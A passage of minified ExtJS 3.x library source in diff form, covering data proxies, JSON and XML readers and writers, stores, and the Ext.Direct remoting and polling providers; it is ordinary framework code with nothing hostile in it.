{getConnection:function () { + return this.useAjax ? Ext.Ajax : this.conn +}, setUrl:function (a, b) { + this.conn.url = a; + if (b === true) { + this.url = a; + this.api = null; + Ext.data.Api.prepare(this) + } +}, doRequest:function (g, d, i, c, b, e, a) { + var h = {method:(this.api[g]) ? this.api[g]["method"] : undefined, request:{callback:b, scope:e, arg:a}, reader:c, callback:this.createCallback(g, d), scope:this}; + if (i.jsonData) { + h.jsonData = i.jsonData + } else { + if (i.xmlData) { + h.xmlData = i.xmlData + } else { + h.params = i || {} + } + } + this.conn.url = this.buildUrl(g, d); + if (this.useAjax) { + Ext.applyIf(h, this.conn); + if (this.activeRequest[g]) { + } + this.activeRequest[g] = Ext.Ajax.request(h) + } else { + this.conn.request(h) + } + this.conn.url = null +}, createCallback:function (b, a) { + return function (e, d, c) { + this.activeRequest[b] = undefined; + if (!d) { + if (b === Ext.data.Api.actions.read) { + this.fireEvent("loadexception", this, e, c) + } + this.fireEvent("exception", this, "response", b, e, c); + e.request.callback.call(e.request.scope, null, e.request.arg, false); + return + } + if (b === Ext.data.Api.actions.read) { + this.onRead(b, e, c) + } else { + this.onWrite(b, e, c, a) + } + } +}, onRead:function (d, h, b) { + var a; + try { + a = h.reader.read(b) + } catch (g) { + this.fireEvent("loadexception", this, h, b, g); + this.fireEvent("exception", this, "response", d, h, b, g); + h.request.callback.call(h.request.scope, null, h.request.arg, false); + return + } + if (a.success === false) { + this.fireEvent("loadexception", this, h, b); + var c = h.reader.readResponse(d, b); + this.fireEvent("exception", this, "remote", d, h, c, null) + } else { + this.fireEvent("load", this, h, h.request.arg) + } + h.request.callback.call(h.request.scope, a, h.request.arg, a.success) +}, onWrite:function (g, i, c, b) { + var a = i.reader; + var d; + try { + d = a.readResponse(g, c) + } catch (h) { + this.fireEvent("exception", this, "response", g, i, c, h); + i.request.callback.call(i.request.scope, null, i.request.arg, false); + return + } + if (d.success === true) { + this.fireEvent("write", this, g, d.data, d, b, i.request.arg) + } else { + this.fireEvent("exception", this, "remote", g, i, d, b) + } + i.request.callback.call(i.request.scope, d.data, d, d.success) +}, destroy:function () { + if (!this.useAjax) { + this.conn.abort() + } else { + if (this.activeRequest) { + var b = Ext.data.Api.actions; + for (var a in b) { + if (this.activeRequest[b[a]]) { + Ext.Ajax.abort(this.activeRequest[b[a]]) + } + } + } + } + Ext.data.HttpProxy.superclass.destroy.call(this) +}}); +Ext.data.MemoryProxy = function (b) { + var a = {}; + a[Ext.data.Api.actions.read] = true; + Ext.data.MemoryProxy.superclass.constructor.call(this, {api:a}); + this.data = b +}; +Ext.extend(Ext.data.MemoryProxy, Ext.data.DataProxy, {doRequest:function (b, c, a, d, h, i, j) { + a = a || {}; + var k; + try { + k = d.readRecords(this.data) + } catch (g) { + this.fireEvent("loadexception", this, null, j, g); + this.fireEvent("exception", this, "response", b, j, null, g); + h.call(i, null, j, false); + return + } + h.call(i, k, j, true) +}}); +Ext.data.Types = new function () { + var a = Ext.data.SortTypes; + Ext.apply(this, {stripRe:/[\$,%]/g, AUTO:{convert:function (b) { + return b + }, sortType:a.none, type:"auto"}, STRING:{convert:function (b) { + return(b === undefined || b === null) ? "" : String(b) + }, sortType:a.asUCString, type:"string"}, INT:{convert:function (b) { + return b !== undefined && b !== null && b !== "" ? parseInt(String(b).replace(Ext.data.Types.stripRe, ""), 10) : (this.useNull ? null : 0) + }, sortType:a.none, type:"int"}, FLOAT:{convert:function (b) { + return b !== undefined && b !== null && b !== "" ? parseFloat(String(b).replace(Ext.data.Types.stripRe, ""), 10) : (this.useNull ? null : 0) + }, sortType:a.none, type:"float"}, BOOL:{convert:function (b) { + return b === true || b === "true" || b == 1 + }, sortType:a.none, type:"bool"}, DATE:{convert:function (c) { + var d = this.dateFormat; + if (!c) { + return null + } + if (Ext.isDate(c)) { + return c + } + if (d) { + if (d == "timestamp") { + return new Date(c * 1000) + } + if (d == "time") { + return new Date(parseInt(c, 10)) + } + return Date.parseDate(c, d) + } + var b = Date.parse(c); + return b ? new Date(b) : null + }, sortType:a.asDate, type:"date"}}); + Ext.apply(this, {BOOLEAN:this.BOOL, INTEGER:this.INT, NUMBER:this.FLOAT}) +}; +Ext.data.JsonWriter = Ext.extend(Ext.data.DataWriter, {encode:true, encodeDelete:false, constructor:function (a) { + Ext.data.JsonWriter.superclass.constructor.call(this, a) +}, render:function (c, d, b) { + if (this.encode === true) { + Ext.apply(c, d); + c[this.meta.root] = Ext.encode(b) + } else { + var a = Ext.apply({}, d); + a[this.meta.root] = b; + c.jsonData = a + } +}, createRecord:function (a) { + return this.toHash(a) +}, updateRecord:function (a) { + return this.toHash(a) +}, destroyRecord:function (b) { + if (this.encodeDelete) { + var a = {}; + a[this.meta.idProperty] = b.id; + return a + } else { + return b.id + } +}}); +Ext.data.JsonReader = function (a, b) { + a = a || {}; + Ext.applyIf(a, {idProperty:"id", successProperty:"success", totalProperty:"total"}); + Ext.data.JsonReader.superclass.constructor.call(this, a, b || a.fields) +}; +Ext.extend(Ext.data.JsonReader, Ext.data.DataReader, {read:function (a) { + var b = a.responseText; + var c = Ext.decode(b); + if (!c) { + throw {message:"JsonReader.read: Json object not found"} + } + return this.readRecords(c) +}, readResponse:function (e, b) { + var h = (b.responseText !== undefined) ? Ext.decode(b.responseText) : b; + if (!h) { + throw new Ext.data.JsonReader.Error("response") + } + var a = this.getRoot(h), g = this.getSuccess(h); + if (g && e === Ext.data.Api.actions.create) { + var d = Ext.isDefined(a); + if (d && Ext.isEmpty(a)) { + throw new Ext.data.JsonReader.Error("root-empty", this.meta.root) + } else { + if (!d) { + throw new Ext.data.JsonReader.Error("root-undefined-response", this.meta.root) + } + } + } + var c = new Ext.data.Response({action:e, success:g, data:(a) ? this.extractData(a, false) : [], message:this.getMessage(h), raw:h}); + if (Ext.isEmpty(c.success)) { + throw new Ext.data.JsonReader.Error("successProperty-response", this.meta.successProperty) + } + return c +}, readRecords:function (a) { + this.jsonData = a; + if (a.metaData) { + this.onMetaChange(a.metaData) + } + var m = this.meta, h = this.recordType, b = h.prototype.fields, l = b.items, i = b.length, j; + var g = this.getRoot(a), e = g.length, d = e, k = true; + if (m.totalProperty) { + j = parseInt(this.getTotal(a), 10); + if (!isNaN(j)) { + d = j + } + } + if (m.successProperty) { + j = this.getSuccess(a); + if (j === false || j === "false") { + k = false + } + } + return{success:k, records:this.extractData(g, true), totalRecords:d} +}, buildExtractors:function () { + if (this.ef) { + return + } + var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length; + if (l.totalProperty) { + this.getTotal = this.createAccessor(l.totalProperty) + } + if (l.successProperty) { + this.getSuccess = this.createAccessor(l.successProperty) + } + if (l.messageProperty) { + this.getMessage = this.createAccessor(l.messageProperty) + } + this.getRoot = l.root ? this.createAccessor(l.root) : function (g) { + return g + }; + if (l.id || l.idProperty) { + var d = this.createAccessor(l.id || l.idProperty); + this.getId = function (i) { + var g = d(i); + return(g === undefined || g === "") ? null : g + } + } else { + this.getId = function () { + return null + } + } + var c = []; + for (var b = 0; b < j; b++) { + e = k[b]; + var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name; + c.push(this.createAccessor(a)) + } + this.ef = c +}, simpleAccess:function (b, a) { + return b[a] +}, createAccessor:function () { + var a = /[\[\.]/; + return function (c) { + if (Ext.isEmpty(c)) { + return Ext.emptyFn + } + if (Ext.isFunction(c)) { + return c + } + var b = String(c).search(a); + if (b >= 0) { + return new Function("obj", "return obj" + (b > 0 ? "." : "") + c) + } + return function (d) { + return d[c] + } + } +}(), extractValues:function (h, d, a) { + var g, c = {}; + for (var e = 0; e < a; e++) { + g = d[e]; + var b = this.ef[e](h); + c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h) + } + return c +}}); +Ext.data.JsonReader.Error = Ext.extend(Ext.Error, {constructor:function (b, a) { + this.arg = a; + Ext.Error.call(this, b) +}, name:"Ext.data.JsonReader"}); +Ext.apply(Ext.data.JsonReader.Error.prototype, {lang:{response:"An error occurred while json-decoding your server response", "successProperty-response":'Could not locate your "successProperty" in your server response. Please review your JsonReader config to ensure the config-property "successProperty" matches the property in your server-response. See the JsonReader docs.', "root-undefined-config":'Your JsonReader was configured without a "root" property. Please review your JsonReader config and make sure to define the root property. See the JsonReader docs.', "idProperty-undefined":'Your JsonReader was configured without an "idProperty" Please review your JsonReader configuration and ensure the "idProperty" is set (e.g.: "id"). See the JsonReader docs.', "root-empty":'Data was expected to be returned by the server in the "root" property of the response. Please review your JsonReader configuration to ensure the "root" property matches that returned in the server-response. See JsonReader docs.'}}); +Ext.data.ArrayReader = Ext.extend(Ext.data.JsonReader, {readRecords:function (r) { + this.arrayData = r; + var l = this.meta, d = l ? Ext.num(l.idIndex, l.id) : null, b = this.recordType, q = b.prototype.fields, z = [], e = true, g; + var u = this.getRoot(r); + for (var y = 0, A = u.length; y < A; y++) { + var t = u[y], a = {}, p = ((d || d === 0) && t[d] !== undefined && t[d] !== "" ? t[d] : null); + for (var x = 0, m = q.length; x < m; x++) { + var B = q.items[x], w = B.mapping !== undefined && B.mapping !== null ? B.mapping : x; + g = t[w] !== undefined ? t[w] : B.defaultValue; + g = B.convert(g, t); + a[B.name] = g + } + var c = new b(a, p); + c.json = t; + z[z.length] = c + } + var h = z.length; + if (l.totalProperty) { + g = parseInt(this.getTotal(r), 10); + if (!isNaN(g)) { + h = g + } + } + if (l.successProperty) { + g = this.getSuccess(r); + if (g === false || g === "false") { + e = false + } + } + return{success:e, records:z, totalRecords:h} +}}); +Ext.data.ArrayStore = Ext.extend(Ext.data.Store, {constructor:function (a) { + Ext.data.ArrayStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.ArrayReader(a)})) +}, loadData:function (e, b) { + if (this.expandData === true) { + var d = []; + for (var c = 0, a = e.length; c < a; c++) { + d[d.length] = [e[c]] + } + e = d + } + Ext.data.ArrayStore.superclass.loadData.call(this, e, b) +}}); +Ext.reg("arraystore", Ext.data.ArrayStore); +Ext.data.SimpleStore = Ext.data.ArrayStore; +Ext.reg("simplestore", Ext.data.SimpleStore); +Ext.data.JsonStore = Ext.extend(Ext.data.Store, {constructor:function (a) { + Ext.data.JsonStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.JsonReader(a)})) +}}); +Ext.reg("jsonstore", Ext.data.JsonStore); +Ext.data.XmlWriter = function (a) { + Ext.data.XmlWriter.superclass.constructor.apply(this, arguments); + this.tpl = (typeof(this.tpl) === "string") ? new Ext.XTemplate(this.tpl).compile() : this.tpl.compile() +}; +Ext.extend(Ext.data.XmlWriter, Ext.data.DataWriter, {documentRoot:"xrequest", forceDocumentRoot:false, root:"records", xmlVersion:"1.0", xmlEncoding:"ISO-8859-15", tpl:'<\u003fxml version="{version}" encoding="{encoding}"\u003f><{documentRoot}><{name}>{value}<{root}><{parent.record}><{name}>{value}', render:function (b, c, a) { + c = this.toArray(c); + b.xmlData = this.tpl.applyTemplate({version:this.xmlVersion, encoding:this.xmlEncoding, documentRoot:(c.length > 0 || this.forceDocumentRoot === true) ? this.documentRoot : false, record:this.meta.record, root:this.root, baseParams:c, records:(Ext.isArray(a[0])) ? a : [a]}) +}, createRecord:function (a) { + return this.toArray(this.toHash(a)) +}, updateRecord:function (a) { + return this.toArray(this.toHash(a)) +}, destroyRecord:function (b) { + var a = {}; + a[this.meta.idProperty] = b.id; + return this.toArray(a) +}}); +Ext.data.XmlReader = function (a, b) { + a = a || {}; + Ext.applyIf(a, {idProperty:a.idProperty || a.idPath || a.id, successProperty:a.successProperty || a.success}); + Ext.data.XmlReader.superclass.constructor.call(this, a, b || a.fields) +}; +Ext.extend(Ext.data.XmlReader, Ext.data.DataReader, {read:function (a) { + var b = a.responseXML; + if (!b) { + throw {message:"XmlReader.read: XML Document not available"} + } + return this.readRecords(b) +}, readRecords:function (d) { + this.xmlData = d; + var a = d.documentElement || d, c = Ext.DomQuery, g = 0, e = true; + if (this.meta.totalProperty) { + g = this.getTotal(a, 0) + } + if (this.meta.successProperty) { + e = this.getSuccess(a) + } + var b = this.extractData(c.select(this.meta.record, a), true); + return{success:e, records:b, totalRecords:g || b.length} +}, readResponse:function (g, b) { + var e = Ext.DomQuery, h = b.responseXML, a = h.documentElement || h; + var c = new Ext.data.Response({action:g, success:this.getSuccess(a), message:this.getMessage(a), data:this.extractData(e.select(this.meta.record, a) || e.select(this.meta.root, a), false), raw:h}); + if (Ext.isEmpty(c.success)) { + throw new Ext.data.DataReader.Error("successProperty-response", this.meta.successProperty) + } + if (g === Ext.data.Api.actions.create) { + var d = Ext.isDefined(c.data); + if (d && Ext.isEmpty(c.data)) { + throw new Ext.data.JsonReader.Error("root-empty", this.meta.root) + } else { + if (!d) { + throw new Ext.data.JsonReader.Error("root-undefined-response", this.meta.root) + } + } + } + return c +}, getSuccess:function () { + return true +}, buildExtractors:function () { + if (this.ef) { + return + } + var l = this.meta, h = this.recordType, e = h.prototype.fields, k = e.items, j = e.length; + if (l.totalProperty) { + this.getTotal = this.createAccessor(l.totalProperty) + } + if (l.successProperty) { + this.getSuccess = this.createAccessor(l.successProperty) + } + if (l.messageProperty) { + this.getMessage = this.createAccessor(l.messageProperty) + } + this.getRoot = function (g) { + return(!Ext.isEmpty(g[this.meta.record])) ? g[this.meta.record] : g[this.meta.root] + }; + if (l.idPath || l.idProperty) { + var d = this.createAccessor(l.idPath || l.idProperty); + this.getId = function (g) { + var i = d(g) || g.id; + return(i === undefined || i === "") ? null : i + } + } else { + this.getId = function () { + return null + } + } + var c = []; + for (var b = 0; b < j; b++) { + e = k[b]; + var a = (e.mapping !== undefined && e.mapping !== null) ? e.mapping : e.name; + c.push(this.createAccessor(a)) + } + this.ef = c +}, createAccessor:function () { + var a = Ext.DomQuery; + return function (b) { + if (Ext.isFunction(b)) { + return b + } + switch (b) { + case this.meta.totalProperty: + return function (c, d) { + return a.selectNumber(b, c, d) + }; + break; + case this.meta.successProperty: + return function (d, e) { + var c = a.selectValue(b, d, true); + var g = c !== false && c !== "false"; + return g + }; + break; + default: + return function (c, d) { + return a.selectValue(b, c, d) + }; + break + } + } +}(), extractValues:function (h, d, a) { + var g, c = {}; + for (var e = 0; e < a; e++) { + g = d[e]; + var b = this.ef[e](h); + c[g.name] = g.convert((b !== undefined) ? b : g.defaultValue, h) + } + return c +}}); +Ext.data.XmlStore = Ext.extend(Ext.data.Store, {constructor:function (a) { + Ext.data.XmlStore.superclass.constructor.call(this, Ext.apply(a, {reader:new Ext.data.XmlReader(a)})) +}}); +Ext.reg("xmlstore", Ext.data.XmlStore); +Ext.data.GroupingStore = Ext.extend(Ext.data.Store, {constructor:function (d) { + d = d || {}; + this.hasMultiSort = true; + this.multiSortInfo = this.multiSortInfo || {sorters:[]}; + var e = this.multiSortInfo.sorters, c = d.groupField || this.groupField, b = d.sortInfo || this.sortInfo, a = d.groupDir || this.groupDir; + if (c) { + e.push({field:c, direction:a}) + } + if (b) { + e.push(b) + } + Ext.data.GroupingStore.superclass.constructor.call(this, d); + this.addEvents("groupchange"); + this.applyGroupField() +}, remoteGroup:false, groupOnSort:false, groupDir:"ASC", clearGrouping:function () { + this.groupField = false; + if (this.remoteGroup) { + if (this.baseParams) { + delete this.baseParams.groupBy; + delete this.baseParams.groupDir + } + var a = this.lastOptions; + if (a && a.params) { + delete a.params.groupBy; + delete a.params.groupDir + } + this.reload() + } else { + this.sort(); + this.fireEvent("datachanged", this) + } +}, groupBy:function (e, a, d) { + d = d ? (String(d).toUpperCase() == "DESC" ? "DESC" : "ASC") : this.groupDir; + if (this.groupField == e && this.groupDir == d && !a) { + return + } + var c = this.multiSortInfo.sorters; + if (c.length > 0 && c[0].field == this.groupField) { + c.shift() + } + this.groupField = e; + this.groupDir = d; + this.applyGroupField(); + var b = function () { + this.fireEvent("groupchange", this, this.getGroupState()) + }; + if (this.groupOnSort) { + this.sort(e, d); + b.call(this); + return + } + if (this.remoteGroup) { + this.on("load", b, this, {single:true}); + this.reload() + } else { + this.sort(c); + b.call(this) + } +}, sort:function (h, c) { + if (this.remoteSort) { + return Ext.data.GroupingStore.superclass.sort.call(this, h, c) + } + var g = []; + if (Ext.isArray(arguments[0])) { + g = arguments[0] + } else { + if (h == undefined) { + g = this.sortInfo ? [this.sortInfo] : [] + } else { + var e = this.fields.get(h); + if (!e) { + return false + } + var b = e.name, a = this.sortInfo || null, d = this.sortToggle ? this.sortToggle[b] : null; + if (!c) { + if (a && a.field == b) { + c = (this.sortToggle[b] || "ASC").toggle("ASC", "DESC") + } else { + c = e.sortDir + } + } + this.sortToggle[b] = c; + this.sortInfo = {field:b, direction:c}; + g = [this.sortInfo] + } + } + if (this.groupField) { + g.unshift({direction:this.groupDir, field:this.groupField}) + } + return this.multiSort.call(this, g, c) +}, applyGroupField:function () { + if (this.remoteGroup) { + if (!this.baseParams) { + this.baseParams = {} + } + Ext.apply(this.baseParams, {groupBy:this.groupField, groupDir:this.groupDir}); + var a = this.lastOptions; + if (a && a.params) { + a.params.groupDir = this.groupDir; + delete a.params.groupBy + } + } +}, applyGrouping:function (a) { + if (this.groupField !== false) { + this.groupBy(this.groupField, true, this.groupDir); + return true + } else { + if (a === true) { + this.fireEvent("datachanged", this) + } + return false + } +}, getGroupState:function () { + return this.groupOnSort && this.groupField !== false ? (this.sortInfo ? this.sortInfo.field : undefined) : this.groupField +}}); +Ext.reg("groupingstore", Ext.data.GroupingStore); +Ext.data.DirectProxy = function (a) { + Ext.apply(this, a); + if (typeof this.paramOrder == "string") { + this.paramOrder = this.paramOrder.split(/[\s,|]/) + } + Ext.data.DirectProxy.superclass.constructor.call(this, a) +}; +Ext.extend(Ext.data.DirectProxy, Ext.data.DataProxy, {paramOrder:undefined, paramsAsHash:true, directFn:undefined, doRequest:function (b, c, a, e, k, l, n) { + var j = [], h = this.api[b] || this.directFn; + switch (b) { + case Ext.data.Api.actions.create: + j.push(a.jsonData); + break; + case Ext.data.Api.actions.read: + if (h.directCfg.method.len > 0) { + if (this.paramOrder) { + for (var d = 0, g = this.paramOrder.length; d < g; d++) { + j.push(a[this.paramOrder[d]]) + } + } else { + if (this.paramsAsHash) { + j.push(a) + } + } + } + break; + case Ext.data.Api.actions.update: + j.push(a.jsonData); + break; + case Ext.data.Api.actions.destroy: + j.push(a.jsonData); + break + } + var m = {params:a || {}, request:{callback:k, scope:l, arg:n}, reader:e}; + j.push(this.createCallback(b, c, m), this); + h.apply(window, j) +}, createCallback:function (d, a, b) { + var c = this; + return function (e, g) { + if (!g.status) { + if (d === Ext.data.Api.actions.read) { + c.fireEvent("loadexception", c, b, g, null) + } + c.fireEvent("exception", c, "remote", d, b, g, null); + b.request.callback.call(b.request.scope, null, b.request.arg, false); + return + } + if (d === Ext.data.Api.actions.read) { + c.onRead(d, b, e, g) + } else { + c.onWrite(d, b, e, g, a) + } + } +}, onRead:function (g, e, a, d) { + var b; + try { + b = e.reader.readRecords(a) + } catch (c) { + this.fireEvent("loadexception", this, e, d, c); + this.fireEvent("exception", this, "response", g, e, d, c); + e.request.callback.call(e.request.scope, null, e.request.arg, false); + return + } + this.fireEvent("load", this, d, e.request.arg); + e.request.callback.call(e.request.scope, b, e.request.arg, true) +}, onWrite:function (g, d, a, c, b) { + var e = d.reader.extractData(d.reader.getRoot(a), false); + var h = d.reader.getSuccess(a); + h = (h !== false); + if (h) { + this.fireEvent("write", this, g, e, c, b, d.request.arg) + } else { + this.fireEvent("exception", this, "remote", g, d, a, b) + } + d.request.callback.call(d.request.scope, e, c, h) +}}); +Ext.data.DirectStore = Ext.extend(Ext.data.Store, {constructor:function (a) { + var b = Ext.apply({}, {batchTransactions:false}, a); + Ext.data.DirectStore.superclass.constructor.call(this, Ext.apply(b, {proxy:Ext.isDefined(b.proxy) ? b.proxy : new Ext.data.DirectProxy(Ext.copyTo({}, b, "paramOrder,paramsAsHash,directFn,api")), reader:(!Ext.isDefined(b.reader) && b.fields) ? new Ext.data.JsonReader(Ext.copyTo({}, b, "totalProperty,root,idProperty"), b.fields) : b.reader})) +}}); +Ext.reg("directstore", Ext.data.DirectStore); +Ext.Direct = Ext.extend(Ext.util.Observable, {exceptions:{TRANSPORT:"xhr", PARSE:"parse", LOGIN:"login", SERVER:"exception"}, constructor:function () { + this.addEvents("event", "exception"); + this.transactions = {}; + this.providers = {} +}, addProvider:function (e) { + var c = arguments; + if (c.length > 1) { + for (var d = 0, b = c.length; d < b; d++) { + this.addProvider(c[d]) + } + return + } + if (!e.events) { + e = new Ext.Direct.PROVIDERS[e.type](e) + } + e.id = e.id || Ext.id(); + this.providers[e.id] = e; + e.on("data", this.onProviderData, this); + e.on("exception", this.onProviderException, this); + if (!e.isConnected()) { + e.connect() + } + return e +}, getProvider:function (a) { + return this.providers[a] +}, removeProvider:function (b) { + var a = b.id ? b : this.providers[b]; + a.un("data", this.onProviderData, this); + a.un("exception", this.onProviderException, this); + delete this.providers[a.id]; + return a +}, addTransaction:function (a) { + this.transactions[a.tid] = a; + return a +}, removeTransaction:function (a) { + delete this.transactions[a.tid || a]; + return a +}, getTransaction:function (a) { + return this.transactions[a.tid || a] +}, onProviderData:function (d, c) { + if (Ext.isArray(c)) { + for (var b = 0, a = c.length; b < a; b++) { + this.onProviderData(d, c[b]) + } + return + } + if (c.name && c.name != "event" && c.name != "exception") { + this.fireEvent(c.name, c) + } else { + if (c.type == "exception") { + this.fireEvent("exception", c) + } + } + this.fireEvent("event", c, d) +}, createEvent:function (a, b) { + return new Ext.Direct.eventTypes[a.type](Ext.apply(a, b)) +}}); +Ext.Direct = new Ext.Direct(); +Ext.Direct.TID = 1; +Ext.Direct.PROVIDERS = {}; +Ext.Direct.Transaction = function (a) { + Ext.apply(this, a); + this.tid = ++Ext.Direct.TID; + this.retryCount = 0 +}; +Ext.Direct.Transaction.prototype = {send:function () { + this.provider.queueTransaction(this) +}, retry:function () { + this.retryCount++; + this.send() +}, getProvider:function () { + return this.provider +}}; +Ext.Direct.Event = function (a) { + Ext.apply(this, a) +}; +Ext.Direct.Event.prototype = {status:true, getData:function () { + return this.data +}}; +Ext.Direct.RemotingEvent = Ext.extend(Ext.Direct.Event, {type:"rpc", getTransaction:function () { + return this.transaction || Ext.Direct.getTransaction(this.tid) +}}); +Ext.Direct.ExceptionEvent = Ext.extend(Ext.Direct.RemotingEvent, {status:false, type:"exception"}); +Ext.Direct.eventTypes = {rpc:Ext.Direct.RemotingEvent, event:Ext.Direct.Event, exception:Ext.Direct.ExceptionEvent}; +Ext.direct.Provider = Ext.extend(Ext.util.Observable, {priority:1, constructor:function (a) { + Ext.apply(this, a); + this.addEvents("connect", "disconnect", "data", "exception"); + Ext.direct.Provider.superclass.constructor.call(this, a) +}, isConnected:function () { + return false +}, connect:Ext.emptyFn, disconnect:Ext.emptyFn}); +Ext.direct.JsonProvider = Ext.extend(Ext.direct.Provider, {parseResponse:function (a) { + if (!Ext.isEmpty(a.responseText)) { + if (typeof a.responseText == "object") { + return a.responseText + } + return Ext.decode(a.responseText) + } + return null +}, getEvents:function (j) { + var g = null; + try { + g = this.parseResponse(j) + } catch (h) { + var d = new Ext.Direct.ExceptionEvent({data:h, xhr:j, code:Ext.Direct.exceptions.PARSE, message:"Error parsing json response: \n\n " + g}); + return[d] + } + var c = []; + if (Ext.isArray(g)) { + for (var b = 0, a = g.length; b < a; b++) { + c.push(Ext.Direct.createEvent(g[b])) + } + } else { + c.push(Ext.Direct.createEvent(g)) + } + return c +}}); +Ext.direct.PollingProvider = Ext.extend(Ext.direct.JsonProvider, {priority:3, interval:3000, constructor:function (a) { + Ext.direct.PollingProvider.superclass.constructor.call(this, a); + this.addEvents("beforepoll", "poll") +}, isConnected:function () { + return !!this.pollTask +}, connect:function () { + if (this.url && !this.pollTask) { + this.pollTask = Ext.TaskMgr.start({run:function () { + if (this.fireEvent("beforepoll", this) !== false) { + if (typeof this.url == "function") { + this.url(this.baseParams) + } else { + Ext.Ajax.request({url:this.url, callback:this.onData, scope:this, params:this.baseParams}) + } + } + }, interval:this.interval, scope:this}); + this.fireEvent("connect", this) + } else { + if (!this.url) { + throw"Error initializing PollingProvider, no url configured." + } + } +}, disconnect:function () { + if (this.pollTask) { + Ext.TaskMgr.stop(this.pollTask); + delete this.pollTask; + this.fireEvent("disconnect", this) + } +}, onData:function (d, j, h) { + if (j) { + var c = this.getEvents(h); + for (var b = 0, a = c.length; b < a; b++) { + var g = c[b]; + this.fireEvent("data", this, g) + } + } else { + var g = new Ext.Direct.ExceptionEvent({data:g, code:Ext.Direct.exceptions.TRANSPORT, message:"Unable to connect to the server.", xhr:h}); + this.fireEvent("data", this, g) + } +}}); +Ext.Direct.PROVIDERS.polling = Ext.direct.PollingProvider; +Ext.direct.RemotingProvider = Ext.extend(Ext.direct.JsonProvider, {enableBuffer:10, maxRetries:1, timeout:undefined, constructor:function (a) { + Ext.direct.RemotingProvider.superclass.constructor.call(this, a); + this.addEvents("beforecall", "call"); + this.namespace = (Ext.isString(this.namespace)) ? Ext.ns(this.namespace) : this.namespace || window; + this.transactions = {}; + this.callBuffer = [] +}, initAPI:function () { + var h = this.actions; + for (var j in h) { + var d = this.namespace[j] || (this.namespace[j] = {}), e = h[j]; + for (var g = 0, b = e.length; g < b; g++) { + var a = e[g]; + d[a.name] = this.createMethod(j, a) + } + } +}, isConnected:function () { + return !!this.connected +}, connect:function () { + if (this.url) { + this.initAPI(); + this.connected = true; + this.fireEvent("connect", this) + } else { + if (!this.url) { + throw"Error initializing RemotingProvider, no url configured." + } + } +}, disconnect:function () { + if (this.connected) { + this.connected = false; + this.fireEvent("disconnect", this) + } +}, onData:function (a, h, j) { + if (h) { + var k = this.getEvents(j); + for (var b = 0, c = k.length; b < c; b++) { + var d = k[b], l = this.getTransaction(d); + this.fireEvent("data", this, d); + if (l) { + this.doCallback(l, d, true); + Ext.Direct.removeTransaction(l) + } + } + } else { + var g = [].concat(a.ts); + for (var b = 0, c = g.length; b < c; b++) { + var l = this.getTransaction(g[b]); + if (l && l.retryCount < this.maxRetries) { + l.retry() + } else { + var d = new Ext.Direct.ExceptionEvent({data:d, transaction:l, code:Ext.Direct.exceptions.TRANSPORT, message:"Unable to connect to the server.", xhr:j}); + this.fireEvent("data", this, d); + if (l) { + this.doCallback(l, d, false); + Ext.Direct.removeTransaction(l) + } + } + } + } +}, getCallData:function (a) { + return{action:a.action, method:a.method, data:a.data, type:"rpc", tid:a.tid} +}, doSend:function (d) { + var g = {url:this.url, callback:this.onData, scope:this, ts:d, timeout:this.timeout}, b; + if (Ext.isArray(d)) { + b = []; + for (var c = 0, a = d.length; c < a; c++) { + b.push(this.getCallData(d[c])) + } + } else { + b = this.getCallData(d) + } + if (this.enableUrlEncode) { + var e = {}; + e[Ext.isString(this.enableUrlEncode) ? this.enableUrlEncode : "data"] = Ext.encode(b); + g.params = e + } else { + g.jsonData = b + } + Ext.Ajax.request(g) +}, combineAndSend:function () { + var a = this.callBuffer.length; + if (a > 0) { + this.doSend(a == 1 ? this.callBuffer[0] : this.callBuffer); + this.callBuffer = [] + } +}, queueTransaction:function (a) { + if (a.form) { + this.processForm(a); + return + } + this.callBuffer.push(a); + if (this.enableBuffer) { + if (!this.callTask) { + this.callTask = new Ext.util.DelayedTask(this.combineAndSend, this) + } + this.callTask.delay(Ext.isNumber(this.enableBuffer) ? this.enableBuffer : 10) + } else { + this.combineAndSend() + } +}, doCall:function (i, a, b) { + var h = null, e = b[a.len], g = b[a.len + 1]; + if (a.len !== 0) { + h = b.slice(0, a.len) + } + var d = new Ext.Direct.Transaction({provider:this, args:b, action:i, method:a.name, data:h, cb:g && Ext.isFunction(e) ? e.createDelegate(g) : e}); + if (this.fireEvent("beforecall", this, d, a) !== false) { + Ext.Direct.addTransaction(d); + this.queueTransaction(d); + this.fireEvent("call", this, d, a) + } +}, doForm:function (j, b, g, i, e) { + var d = new Ext.Direct.Transaction({provider:this, action:j, method:b.name, args:[g, i, e], cb:e && Ext.isFunction(i) ? i.createDelegate(e) : i, isForm:true}); + if (this.fireEvent("beforecall", this, d, b) !== false) { + Ext.Direct.addTransaction(d); + var a = String(g.getAttribute("enctype")).toLowerCase() == "multipart/form-data", h = {extTID:d.tid, extAction:j, extMethod:b.name, extType:"rpc", extUpload:String(a)}; + Ext.apply(d, {form:Ext.getDom(g), isUpload:a, params:i && Ext.isObject(i.params) ? Ext.apply(h, i.params) : h}); + this.fireEvent("call", this, d, b); + this.processForm(d) + } +}, processForm:function (a) { + Ext.Ajax.request({url:this.url, params:a.params, callback:this.onData, scope:this, form:a.form, isUpload:a.isUpload, ts:a}) +}, createMethod:function (d, a) { + var b; + if (!a.formHandler) { + b = function () { + this.doCall(d, a, Array.prototype.slice.call(arguments, 0)) + }.createDelegate(this) + } else { + b = function (e, g, c) { + this.doForm(d, a, e, g, c) + }.createDelegate(this) + } + b.directCfg = {action:d, method:a}; + return b +}, getTransaction:function (a) { + return a && a.tid ? Ext.Direct.getTransaction(a.tid) : null +}, doCallback:function (c, g) { + var d = g.status ? "success" : "failure"; + if (c && c.cb) { + var b = c.cb, a = Ext.isDefined(g.result) ? g.result : g.data; + if (Ext.isFunction(b)) { + b(a, g) + } else { + Ext.callback(b[d], b.scope, [a, g]); + Ext.callback(b.callback, b.scope, [a, g]) + } + } +}}); +Ext.Direct.PROVIDERS.remoting = Ext.direct.RemotingProvider; +Ext.Resizable = Ext.extend(Ext.util.Observable, {constructor:function (d, e) { + this.el = Ext.get(d); + if (e && e.wrap) { + e.resizeChild = this.el; + this.el = this.el.wrap(typeof e.wrap == "object" ? e.wrap : {cls:"xresizable-wrap"}); + this.el.id = this.el.dom.id = e.resizeChild.id + "-rzwrap"; + this.el.setStyle("overflow", "hidden"); + 